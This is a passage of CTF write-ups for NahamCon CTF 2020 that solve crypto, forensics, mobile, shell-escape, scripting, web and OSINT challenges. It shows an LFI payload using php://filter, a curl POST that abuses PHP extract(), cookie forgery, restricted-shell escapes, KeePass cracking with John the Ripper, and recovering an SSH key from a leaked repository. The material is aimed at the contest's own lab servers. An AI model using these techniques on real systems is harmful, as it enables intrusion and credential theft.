iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:
## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:
this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:
**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:
so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:
after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:
and the file contains our flag:
## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:
## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:
## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...
...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:
## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:
seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):
## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:
I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:
## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:
It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:
actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:
so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:
```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:
burp suite catches the request and allows us to edit it:
we now only need to add an emergency variable and we get the flag:
with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:
**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
